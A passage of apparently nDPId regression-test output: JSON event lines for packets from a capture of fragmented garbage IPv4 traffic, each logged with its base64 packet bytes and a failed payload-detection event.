failed","thread_id":0,"packet_id":6303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777430,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777558,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777648,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777688,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 